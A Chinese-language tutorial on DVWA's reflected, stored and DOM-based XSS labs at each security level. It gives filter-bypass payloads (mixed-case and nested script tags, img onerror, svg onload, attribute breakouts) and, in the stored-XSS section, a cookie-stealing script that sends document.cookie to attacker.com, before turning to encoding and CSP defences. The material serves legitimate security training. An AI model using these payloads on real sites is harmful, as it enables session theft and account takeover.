
1. 从靶场到实战为什么DVWA的XSS关卡值得深挖如果你刚开始接触Web安全或者想找一个地方系统地、安全地练习各种攻击手法那么DVWADamn Vulnerable Web Application绝对是你绕不开的“新手村”。它把各种经典漏洞比如SQL注入、文件上传、命令执行当然还有我们今天要聊的XSS跨站脚本攻击都打包在一个可控的环境里。很多人觉得这种“玩具”靶场照着网上的攻略点几下弹个框就算会了。但我的经验告诉我恰恰是DVWA这种结构清晰、目标明确的靶场才是你从“知道”到“精通”的最佳跳板。就拿XSS来说DVWA把它分成了反射型、存储型和DOM型三个难度递增的关卡。这不仅仅是分类更是一种学习路径的设计。反射型XSSReflected XSS是你和服务器“一次性的互动”你的恶意脚本通过URL参数提交服务器“反射”回页面并执行。存储型XSSStored XSS则更危险它把恶意脚本“存”在了服务器上比如数据库任何一个访问特定页面的用户都会中招。而DOM型XSSDOM-based XSS完全在浏览器端发生不经过服务器是纯前端的逻辑漏洞排查起来也最麻烦。在DVWA里通关XSS绝不仅仅是弹出一个alert(‘XSS’)的对话框那么简单。你需要理解不同关卡下应用程序如何处理你的输入输出在哪里过滤了什么又漏掉了什么。这背后是输入输出编码、浏览器解析、JavaScript执行上下文等一系列知识的综合应用。我见过太多人只会在低安全级别下用scriptalert(1)/script一到中级甚至高级就束手无策。这篇内容我就带你从DVWA的XSS关卡出发拆解每一种类型的攻击原理、绕过技巧并补充大量实战中才会遇到的细节和思考让你真正把靶场经验变成实战能力。2. 环境搭建与核心概念不只是启动一个PHP服务在深入XSS之前我们需要把DVWA的环境准备好。很多人直接用Docker一键部署这当然方便但我强烈建议你至少有一次是手动搭建在本地比如用XAMPP、WAMP或LAMP。这个过程本身就能让你理解一个典型的PHPMySQL应用是如何运行的这对于后续理解漏洞的上下文至关重要。2.1 DVWA的配置与安全级别下载DVWA源码后你需要配置config/config.inc.php文件主要是数据库连接信息。启动服务访问首页默认的登录凭证是admin/password。登录后第一件事是点击页面左侧的“DVWA Security”这里有个至关重要的设置安全级别Security Level。DVWA提供了四个级别Low, Medium, High, Impossible。这个设置会全局影响所有漏洞模块的防护强度。对于XSS练习我建议你从Low级别开始。在Low级别下应用程序几乎不对你的输入做任何过滤和检查这是为了让你最直观地看到漏洞的原貌。然后逐步提升到Medium和High去挑战和绕过它引入的防护机制。Impossible级别通常代表了当前语境下的“最佳实践”修复方案是学习如何防御的绝佳参考。注意永远不要在公网或任何生产环境中部署DVWA即使设置了“Impossible”级别。它本质上就是一个充满漏洞的程序仅供本地学习和测试使用。2.2 理解XSS的三种基本类型在动手之前我们先快速统一一下认知。XSS的核心是“让浏览器执行了本不该执行的JavaScript代码”。根据恶意脚本的“来源”和“存储”位置分为三类反射型XSS (Reflected XSS) 恶意脚本作为HTTP请求的一部分通常在URL参数中发送给服务器服务器未经充分处理就直接将其“反射”到HTTP响应中浏览器接收到响应后执行了该脚本。攻击通常需要诱骗用户点击一个精心构造的链接。DVWA对应vulnerabilities/xss_r/类比 你对着山谷喊一句话山谷原封不动地回给你。攻击者骗你喊出一句特定的“咒语”恶意URL山谷服务器回应时这句“咒语”就生效了。存储型XSS (Stored XSS) 恶意脚本被持久化地保存到服务器端如数据库、文件系统当其他用户访问某个页面如留言板、用户资料页时脚本从服务器取出并随着正常页面内容返回给用户的浏览器执行。DVWA对应vulnerabilities/xss_s/类比 攻击者在公共布告栏服务器上贴了一张带“咒语”的纸条。之后每一个来看布告栏的人都会自动念出这句“咒语”。DOM型XSS (DOM-based XSS) 漏洞的根源不在服务器而在客户端的JavaScript代码。页面中的JavaScript如document.write,innerHTML,location.hash等操作不安全地处理了来自用户可控的数据如URL片段#后面的部分并将其写入了页面的DOM结构导致脚本执行。DVWA对应vulnerabilities/xss_d/类比 山谷服务器给你的回音是正常的但你手里有个神奇的喇叭浏览器JS这个喇叭会根据你喊话的某些特定音节URL片段自己合成并播放出一段“咒语”。理解这三者的区别是后续所有攻击和绕过的基础。它们的危害性、利用方式和防御重点都不同。3. 反射型XSS从简单弹窗到高级利用链我们首先攻克反射型XSS。在DVWA中切换到Low安全级别然后访问“Reflected Cross Site Scripting”模块。你会看到一个简单的输入框让你输入一个名字。3.1 Low级别漏洞的原始形态在输入框里直接输入scriptalert(document.domain)/script然后点击“Submit”。你应该会立即看到一个弹窗显示当前页面的域名通常是localhost或你的DVWA地址。发生了什么你提交了包含script标签的字符串。服务器端source/low.php的代码大致是echo “Hello ” . $_GET[‘name’];。它直接把你输入的name参数未经任何处理拼接进了HTML响应里。浏览器收到响应Hello scriptalert(document.domain)/script。当浏览器解析HTML时遇到了script标签就会将其中的JavaScript代码alert(document.domain)执行。为什么用document.domain而不是简单的alert(‘XSS’)这是一个好习惯。document.domain能证明你确实控制了当前起源Origin下的JavaScript执行环境。在某些复杂的嵌套框架iframe或跨域场景下简单的alert(1)可能因为同源策略而失败但document.domain能更可靠地确认漏洞存在。3.2 Medium级别初尝绕过之趣将DVWA安全级别调到Medium再次尝试刚才的Payload。你会发现弹窗没了。查看页面源代码你会发现你的输入变成了Hello scriptalert(document.domain)/script。尖括号被转义成了HTML实体lt;和gt;script标签因此失效。查看source/medium.php关键代码是$name str_replace(‘script’, ‘’, $_GET[‘name’]);它使用了str_replace函数试图查找并删除字符串“script”。这是一个非常初级且容易绕过的黑名单过滤。绕过方法1大小写混淆str_replace是大小写敏感的。所以我们可以用ScRiPtalert(document.domain)/ScRiPt。服务器只删除了小写的“script”而我们大小写混写的标签被保留了下来浏览器在解析HTML标签时是不区分大小写的因此成功执行。绕过方法2嵌套与拆分既然它只删除一次“script”我们可以构造scrscriptiptalert(document.domain)/script。当str_replace执行时它会删除中间的那个“script”剩下的字符组合起来又形成了一个新的“script”scriptscript。完美绕过。绕过方法3使用其他标签XSS不一定非要script标签。任何能够触发JavaScript执行的HTML标签或属性都可以。例如Img标签的onerror属性img srcx onerroralert(document.domain)。当图片加载失败srcx不存在onerror事件中的JS代码就会执行。SVG标签svg onloadalert(document.domain)。SVG也是HTML元素onload事件在元素加载完成后触发。Body标签的事件 如果输入点出现在body标签内可以尝试body onloadalert(document.domain)但这通常需要能控制整个body标签在反射型XSS中较难实现。在Medium级别下使用img srcx onerroralert(document.domain)是最高效的绕过方式。它完全避开了对“script”字符串的检查。3.3 High级别更严格的过滤与思维转换切换到High安全级别。尝试之前的Payload无论是script还是img onerror可能都失效了。查看source/high.php$name preg_replace(‘/(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i’, ‘’, $_GET[‘name’]);这里使用了正则表达式preg_replace并且加了/i标志表示不区分大小写。这个正则/(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i非常强大它匹配的是“、中间有任意字符、然后依次出现s、c、r、i、p、t这些字母中间可以夹任意字符、最后是”的模式。这几乎过滤掉了所有形式的script标签。同时High级别的代码可能还对其他常见的事件处理器如onerror,onload进行了过滤。这时候我们需要转换思路。绕过思路利用其他HTML标签和属性既然script和事件属性被重点防御我们看看输出点在哪里。在High级别的反射型XSS中你的输入可能被插入到了一个已有的HTML标签属性里比如一个input标签的value属性中。假设服务器端代码是input type“text” name“name” value“?php echo $name; ?”。我们的输入$name被放在了双引号”包裹的value属性值里。要逃逸出这个属性我们需要先闭合前面的双引号。Payload可以构造为“svg onloadalert(document.domain)。“ 先闭合value属性的双引号然后闭合input标签本身。svg onloadalert(document.domain) 插入一个新的SVG标签利用其onload事件执行JS。这样最终的HTML就变成了input type“text” name“name” value“”svg onloadalert(document.domain)“浏览器会解析出一个已经闭合的input标签然后解析我们新插入的svg标签并执行其中的代码。这里的关键在于High级别的过滤可能只针对script和某些特定事件但对svg标签和onload事件的过滤可能不全面或者我们通过闭合标签的方式引入了一个全新的、未被过滤的上下文。实战经验永远查看页面源代码 按F12打开开发者工具查看“元素Elements”面板。你的输入被放在HTML结构的哪个位置是被当作标签内容还是属性值这决定了你的Payload构造策略。使用编码尝试绕过 有时过滤器会解码一次输入。你可以尝试对Payload进行HTML实体编码。例如编码为lt;编码为gt;。如果服务器在输出时没有正确编码或者浏览器解析了两次就可能造成执行。例如输入lt;img srcx onerroralert(1)gt;如果服务器直接输出浏览器看到的是编码后的文本不会执行。但如果服务器错误地先解码再输出或者输出到了innerHTML属性中且上下文允许它就可能被还原成有效的HTML标签。在DVWA的High级别中可以尝试这种思路但通常需要结合具体的输出点。4. 存储型XSS持久化的威胁与利用深化存储型XSS的利用过程比反射型多一步先将恶意脚本“存储”到服务器。在DVWA中切换到Low级别访问“Stored Cross Site Scripting”模块。这是一个简单的留言板。4.1 Low级别理解存储与触发在“Name”和“Message”字段中尝试输入之前的Payload比如在Message里输入scriptalert(document.domain)/script。点击“Sign Guestbook”。你会发现页面刷新后你的留言被保存并显示了出来并且弹窗立即出现了。更重要的是你清空浏览器缓存重新打开甚至用另一个浏览器访问这个留言板页面弹窗依然会出现。这就是“存储”的含义恶意脚本被永久保存在服务器的数据库里每次任何人访问这个页面服务器都会从数据库取出这段脚本并输出到页面导致脚本在访问者的浏览器中执行。危害性对比反射型 需要诱骗用户点击特定链接。攻击是一次性的针对特定用户。存储型 脚本存储在服务器上所有访问受影响页面的用户都会自动中招。攻击是持久性的影响范围广。典型的“挂马”就是利用存储型XSS在网站留言板、用户昵称、文章评论等处插入盗取Cookie的脚本。4.2 Medium与High级别绕过过滤与输入点选择将安全级别调至Medium。尝试在Message里输入script标签会发现被过滤了。查看source/medium.php它对输入使用了htmlspecialchars函数进行转义。这个函数会将,,,“,‘等字符转换为HTML实体从而从根本上防止了HTML/JS注入。绕过思路寻找未受保护的输入点仔细看页面有两个输入框“Name”和“Message”。防御代码可能只对“Message”字段使用了htmlspecialchars而“Name”字段可能处理不同或者存在长度限制导致过滤不完整。尝试在“Name”字段输入img srcx onerroralert(document.domain)。提交后你会发现弹窗可能成功了。这是因为“Name”字段的输出上下文可能不同比如没有用htmlspecialchars或者输出在了HTML属性里但未正确闭合从而成为了漏洞点。High级别的挑战 在High级别source/high.php可能对所有用户输入都使用了严格的过滤比如htmlspecialchars($input, ENT_QUOTES, ‘UTF-8’)第三个参数ENT_QUOTES会同时转义单双引号这让逃逸HTML属性变得更加困难。同时它可能还使用了更宽泛的正则表达式来移除script、on\w等模式。此时常规的标签和事件注入可能全部失效。我们需要进行更深入的测试测试过滤逻辑 输入一些测试字符串如scriptscript、img、onload、javascript:等然后查看页面源代码看它们是如何被改变的。是被删除、转义还是替换寻找二次渲染漏洞 有些应用会对输入进行过滤后存储但在另一个页面或另一种格式如JSON、RSS输出时可能使用了不同的处理方式。检查留言板内容是否在其他地方如管理后台、API接口以不同形式呈现。利用HTML5新特性或稀有事件 过滤器可能只覆盖了常见的事件。可以尝试一些不那么常见但支持的事件如onfocus、onblur、onauxclick等或者利用HTML5的details标签的ontoggle事件。例如details ontogglealert(document.domain)summary点击我/summary/details。用户点击展开详情时触发。结合其他漏洞 在极端情况下可能需要结合应用程序的其他逻辑漏洞。例如如果存在文件上传功能且上传的文件能被作为HTML解析那么可以先上传一个包含恶意脚本的HTML/ SVG文件然后在留言板中引用这个文件如iframe src“/uploads/malicious.html”。但这在DVWA的XSS模块设定内通常不适用属于混合漏洞利用的范畴。存储型XSS的实战利用思考 弹窗只是证明漏洞存在。真正的利用目的是窃取信息或进行恶意操作。一个经典的利用Payload是窃取用户的会话Cookiescriptnew Image().src‘http://attacker.com/steal.php?c’document.cookie;/script这段脚本会创建一个隐藏的图片请求将当前页面的Cookie作为参数发送到攻击者控制的服务器attacker.com。攻击者拿到Cookie后可能就能冒充用户登录。重要提示在真实测试中仅针对你有书面授权测试的目标这种窃取行为必须格外谨慎并确保数据不会泄露给无关第三方。在DVWA这样的本地靶场中你可以搭建一个简单的接收服务器如用Python的http.server模块来模拟这一过程理解攻击链。5. DOM型XSS客户端逻辑的盲点DOM型XSS是最容易被传统扫描器遗漏的类型因为漏洞逻辑完全在客户端JavaScript代码中。切换到Low级别访问“DOM Based Cross Site Scripting”模块。页面有一个下拉选择框选择不同语言URL会变化页面内容也会变。5.1 Low级别解剖客户端漏洞选择“English”URL变为.../xss_d/?defaultEnglish。页面显示“Please select a language:”。查看页面源代码关键不在于PHP而在于其中的一段JavaScriptif (document.location.href.indexOf(“default”) 0) { var lang document.location.href.substring(document.location.href.indexOf(“default”)8); document.write(“option value‘” lang “‘” lang “/option”); document.write(“option value‘’ disabled‘disabled’----/option”); } ... selectoption value“”Please choose a language:/optionscript src“#”/scriptoption value‘English’English/optionoption value‘’ disabled‘disabled’----/option/select漏洞分析JavaScript代码从当前页面的URLdocument.location.href中提取default参数的值lang变量。然后它使用document.write()将这个值直接、未经任何处理地拼接进了一段HTML字符串中并写入到DOM里。这就意味着我们可以通过控制URL中的default参数来控制写入DOM的HTML内容。构造Payload将URL中的default参数值改为English’/option/selectimg srcx onerroralert(document.domain)最终的URL类似.../xss_d/?defaultEnglish‘/option/selectimg srcx onerroralert(document.domain)发生了什么JS代码提取出的lang变量值就是我们构造的整个字符串。document.write(“option value‘” lang “‘” ... )执行后生成的HTML是option value‘English‘/option/selectimg srcx onerroralert(document.domain)‘English‘/option/selectimg srcx onerroralert(document.domain)/option这段HTML被插入到select标签内。English‘闭合了第一个value属性的单引号/option闭合了当前这个被写入的option标签/select闭合了外层的select标签。这样我们后续插入的img标签就成功地逃逸到了select标签之外成为了一个独立的、有效的HTML元素其onerror事件得以执行。5.2 Medium与High级别客户端的防御与绕过切换到Medium级别再次尝试上述Payload会发现失败。查看source/medium.php服务端可能仍然没有过滤但页面中引入了一个客户端的防御脚本或者PHP生成的那段JS代码变了。常见的客户端防御是使用decodeURIComponent或正则表达式对lang变量进行“清洗”。例如代码可能变成了var lang document.location.href.substring(...); lang lang.replace(/script/gi, “”); // 类似服务端的过滤但发生在JS中绕过方式和服务端Medium级别类似可以使用大小写混淆、嵌套标签、使用非script标签等方式。High级别的DOM型XSS 在High级别防御通常会更强。可能采用白名单机制var lang document.location.href.substring(...); if (lang.match(/^[a-zA-Z]$/)) { // 只允许字母 // 安全写入 } else { lang “English”; // 默认值 }或者使用更安全的DOM操作API比如textContent或setAttribute而不是危险的innerHTML或document.write。如果遇到白名单常规的注入Payload包含引号、尖括号会因为不符合白名单正则而被拒绝。这时候我们需要思考是否还有其他可控的输入源DOM型XSS的输入源不仅仅是URL参数(location.href)还可以是location.hash#后面的部分、document.referrer、window.name、甚至来自postMessage的消息。检查JS代码中是否使用了这些来源。白名单是否可绕过检查白名单正则表达式是否存在逻辑缺陷。例如/^[a-zA-Z]$/只检查字符串从头到尾是否都是字母。那么像English#img onerroralert(1)这样的输入#后面的部分在substring或split操作时是否可能被错误地包含进lang变量需要仔细分析字符串处理的每一步。利用前端框架特性 在现代前端框架如AngularJS, Vue, React中可能存在特定的模板注入漏洞。但这超出了传统DVWA的范畴。DOM型XSS的排查难点 因为攻击载荷不经过服务器所以在服务器的访问日志中看不到完整的恶意URL#后面的部分不会发送到服务器。防御者必须人工审计前端JavaScript代码寻找所有将用户可控数据location.*,document.referrer,window.name,postMessage数据等传递给“危险”的DOM操作函数innerHTML,outerHTML,document.write,eval,setTimeout/setIntervalwith string,locationassignment等的路径。6. 从DVWA到真实世界防御思路与进阶挑战通过DVWA的三个难度级别我们实际上遍历了从“毫无防护”到“基础过滤”再到“严格过滤”的防御演进过程。而“Impossible”级别则展示了当前语境下的最佳修复方案。6.1 防御策略演进总结安全级别反射/存储型XSS防御思路DOM型XSS防御思路评价与绕过可能性Low无任何输出过滤/编码。客户端JS直接拼接用户输入到HTML。漏洞完全暴露可直接利用。Medium使用黑名单str_replace或基础转义可能不完整。在JS中对输入进行简单的字符串替换。过滤不全易通过大小写、嵌套、替代标签/事件绕过。High使用严格正则过滤或全面的HTML实体编码htmlspecialchars。使用白名单验证输入或采用安全DOM API。常规标签/事件注入很难成功需寻找过滤盲点、上下文切换或逻辑漏洞。Impossible输出编码根据输出上下文HTML内容、HTML属性、JavaScript、CSS、URL使用合适的编码函数。输入验证对输入格式、长度、类型进行严格校验。内容安全策略使用CSP头。避免不安全的DOM操作使用textContent代替innerHTML使用setAttribute设置属性。对动态数据进行编码在JS中写入HTML前进行JS编码或HTML编码。从设计和编码层面根除漏洞是真正的解决方案。6.2 输出编码防御的黄金法则“Impossible”级别的核心是输出编码。关键在于在数据输出到特定上下文时进行针对该上下文的编码。输出到HTML内容 使用htmlspecialchars($data, ENT_QUOTES, ‘UTF-8’)。ENT_QUOTES会编码单引号和双引号防止逃逸HTML属性。输出到HTML属性 同样使用htmlspecialchars确保属性值被引号包裹。输出到JavaScript代码中 这需要额外的JavaScript编码。例如PHP的json_encode()函数可以将PHP变量安全地转换为JSON字符串嵌入到script标签中。绝对不要简单地将用户输入拼接进scriptvar userInput ‘?php echo $input; ?‘;/script这样的代码里。输出到URL参数 使用urlencode()。现代前端框架 如React、Vue、Angular等默认提供了数据绑定机制通常会自动处理HTML编码防止XSS。但开发者仍需警惕使用v-htmlVue或dangerouslySetInnerHTMLReact等“危险”API。6.3 内容安全策略最后一道防线内容安全策略是一种声明式的机制通过HTTP响应头Content-Security-Policy来告诉浏览器哪些资源是可信的。一个严格的CSP可以极大地缓解XSS的影响。例如一个只允许加载同源脚本和样式的策略Content-Security-Policy: default-src ‘self’; script-src ‘self’; style-src ‘self’;这个策略意味着内联的script标签、javascript:伪协议、以及onclick这类内联事件处理器都将被浏览器阻止执行。即使攻击者成功注入了恶意脚本浏览器也不会执行它。在DVWA的“Impossible”级别查看HTTP响应头你可能会发现类似的CSP头。这是防御XSS的终极武器之一。6.4 给你的进阶挑战在彻底玩转DVWA的XSS后你可以用以下挑战来检验和提升自己盲打XSS 如果注入后没有直接的回显比如攻击只会触发一个向外部服务器发起的请求你如何确认漏洞存在如何利用这需要搭建一个接收平台如Burp Suite的Collaborator功能或RequestBin。绕过CSP 如果目标网站设置了CSP但策略不够严格如允许‘unsafe-inline’或包含某些不安全的域名如何构造Payload来绕过研究CSP的各种指令和绕过技巧。结合其他漏洞 真实的XSS很少孤立存在。尝试与CSRF跨站请求伪造结合在用户不知情时以其身份执行操作或与点击劫持结合诱骗用户点击甚至利用XSS探测内网服务浏览器端端口扫描。自动化工具与手动测试 学习使用像Burp Suite、ZAP、XSStrike这样的工具进行自动化扫描和模糊测试但更要理解其原理能够手动验证和构造更精巧的Payload。工具会漏报尤其是DOM型XSS。XSS是一个看似简单却深不见底的漏洞类型。DVWA提供了一个绝佳的起点但真实世界的应用更加复杂防御措施也层层叠叠。从理解原理开始到掌握绕过技巧最后深入防御之道这条路径不仅能让你成为一个有效的攻击者在授权的测试中更能让你成为一个具备深度安全意识的建设者。记住每一次成功的绕过背后都是对系统工作原理更深一层的理解。